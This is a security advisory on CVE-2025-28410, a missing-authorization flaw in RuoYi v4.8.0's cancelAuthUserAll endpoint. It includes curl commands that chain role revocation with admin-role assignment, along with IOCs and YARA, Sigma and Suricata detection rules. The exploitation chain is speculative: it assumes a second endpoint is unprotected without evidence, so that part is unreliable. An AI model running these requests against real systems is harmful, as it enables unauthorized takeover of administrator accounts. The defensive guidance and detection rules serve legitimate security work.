CVE-2025-28410

Executive Summary

CVE-2025-28410 is a privilege escalation vulnerability identified in RuoYi v4.8.0, a popular Java-based rapid development framework. The flaw resides in the cancelAuthUserAll method, which fails to properly validate whether the requesting user possesses administrative privileges. This allows a remote attacker with a valid low-privileged session to escalate their privileges to administrator level, potentially leading to full system compromise, data exfiltration, and lateral movement within the network.

The vulnerability is classified under MITRE ATT&CK tactic T1068 (Exploitation for Privilege Escalation) and CWE-862 (Missing Authorization). As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the widespread use of RuoYi in enterprise environments.

Supply Chain & Package Security

RuoYi is distributed as a Maven-based Java project. The vulnerable component is part of the core framework. Organizations using RuoYi v4.8.0 should treat this as a supply chain risk, as the vulnerability exists in the official release artifact. No known malicious packages or backdoors have been identified in the distribution chain.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Base Score: 8.8 – High)

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – The attacker needs a valid low-privileged session.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full data access possible.
• Integrity (I): High – Full system modification possible.
• Availability (A): High – Potential for denial of service.

Threat Level: High. The vulnerability allows privilege escalation from a low-privileged user to administrator, enabling complete control over the application.

Deep Dive & Mechanics

The vulnerability exists in the cancelAuthUserAll method within the RuoYi framework. This method is intended to revoke all authorization roles from a specified user. However, it lacks proper authorization checks to ensure that the caller is an administrator.

Root Cause: The method does not invoke any permission validation (e.g., @PreAuthorize annotation or manual role check) before executing the authorization revocation logic. This allows any authenticated user to call the method and escalate their own privileges by first revoking all roles from themselves and then potentially re-assigning administrative roles.

Attack Flow:

1. Attacker authenticates as a low-privileged user (e.g., user1).
2. Attacker sends a crafted HTTP request to the /system/user/cancelAuthUserAll endpoint with their own user ID.
3. The method executes without checking if the requester has admin rights.
4. The attacker’s roles are cleared, but the session remains active.
5. The attacker then calls another endpoint (e.g., addAuthUserAll) to assign themselves the admin role.
6. The attacker now has full administrative access.

Technical Details:

• The vulnerable endpoint is typically mapped to /system/user/cancelAuthUserAll.
• The method signature: public AjaxResult cancelAuthUserAll(Long userId)
• No @PreAuthorize annotation or manual SecurityUtils.getSubject().isPermitted() check is present.

Vulnerable vs. Patched Code

Vulnerable Code (v4.8.0):

// No authorization check
@PostMapping("/cancelAuthUserAll")
public AjaxResult cancelAuthUserAll(Long userId)
{
    // Directly revokes all roles without checking if caller is admin
    return toAjax(userService.deleteUserRoleByUserId(userId));
}

Patched Code (Hypothetical):

@PostMapping("/cancelAuthUserAll")
@PreAuthorize("@ss.hasPermi('system:user:edit')")
public AjaxResult cancelAuthUserAll(Long userId)
{
    // Now requires admin permission
    return toAjax(userService.deleteUserRoleByUserId(userId));
}

The patch adds a @PreAuthorize annotation to enforce that only users with the system:user:edit permission (typically admin) can call this method.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running RuoYi v4.8.0 instance.
• Valid credentials for a low-privileged user (e.g., test / password123).

Exploitation Steps:

1. Obtain a session cookie by logging in as a low-privileged user.
2. Send a POST request to /system/user/cancelAuthUserAll with the target user ID (your own).
3. Then send a POST request to /system/user/addAuthUserAll with the same user ID to assign admin roles.

Example cURL commands:

# Step 1: Login and capture session cookie
curl -c cookies.txt -b cookies.txt -X POST http://target.com/login \
  -d "username=test&password=password123"

# Step 2: Cancel all roles for user ID 2 (assuming low-priv user ID)
curl -b cookies.txt -X POST http://target.com/system/user/cancelAuthUserAll \
  -d "userId=2"

# Step 3: Add admin roles (requires another endpoint, e.g., addAuthUserAll)
curl -b cookies.txt -X POST http://target.com/system/user/addAuthUserAll \
  -d "userId=2&roleIds=1"

Note: The exact endpoint names and parameters may vary. Use browser developer tools to inspect the actual API calls.

Blue Team (Defensive)

Detection:

• Monitor for unusual API calls to /system/user/cancelAuthUserAll from non-admin users.
• Alert on rapid succession of cancelAuthUserAll followed by addAuthUserAll for the same user.
• Log all role modification events and correlate with user privilege levels.

Mitigation:

• Apply the hypothetical patch by adding authorization checks.
• Implement Web Application Firewall (WAF) rules to block requests to sensitive endpoints from low-privileged sessions.
• Enable detailed audit logging for all user management operations.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /system/user/cancelAuthUserAll with parameter userId from non-admin IPs.
• HTTP POST requests to /system/user/addAuthUserAll with parameter roleIds containing admin role IDs.

System IOCs:

• Unexpected role changes in user accounts.
• New admin accounts created by non-admin users.
• Audit logs showing deleteUserRoleByUserId calls without corresponding admin permission checks.

File IOCs:

• Modified SysUserServiceImpl.java or SysRoleServiceImpl.java files (if attacker deploys backdoor).
• Suspicious JAR files in the WEB-INF/lib directory.

Detection Engineering

YARA Rule

rule CVE_2025_28410_RuoYi_PrivEsc {
    meta:
        description = "Detects vulnerable RuoYi v4.8.0 cancelAuthUserAll method"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28410"
    strings:
        $method = "cancelAuthUserAll"
        $vuln_code = "deleteUserRoleByUserId"
        $no_auth = "public AjaxResult cancelAuthUserAll"
    condition:
        all of them
}

Sigma Rule

title: RuoYi Privilege Escalation via cancelAuthUserAll
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-28410
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query:
            - '/system/user/cancelAuthUserAll*'
            - '/system/user/addAuthUserAll*'
    condition: selection
falsepositives:
    - Legitimate admin operations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28410 RuoYi Privilege Escalation Attempt"; flow:to_server; content:"POST"; http_method; content:"/system/user/cancelAuthUserAll"; http_uri; content:"userId="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by adding a WAF rule to block requests to /system/user/cancelAuthUserAll from non-admin users.
2. Review user roles and revoke any suspicious admin accounts.
3. Apply the hypothetical patch by adding @PreAuthorize("@ss.hasPermi('system:user:edit')") to the cancelAuthUserAll method.

Long-term Fix:

• Upgrade to a patched version of RuoYi once available.
• Implement role-based access control (RBAC) checks on all sensitive methods.
• Conduct a security audit of the entire RuoYi codebase for similar authorization flaws.

Workaround:

• If patching is not possible, restrict network access to the RuoYi admin interface to trusted IPs only.
• Implement multi-factor authentication (MFA) for all admin-level operations.

Valters IT
Securing Digital Frontiers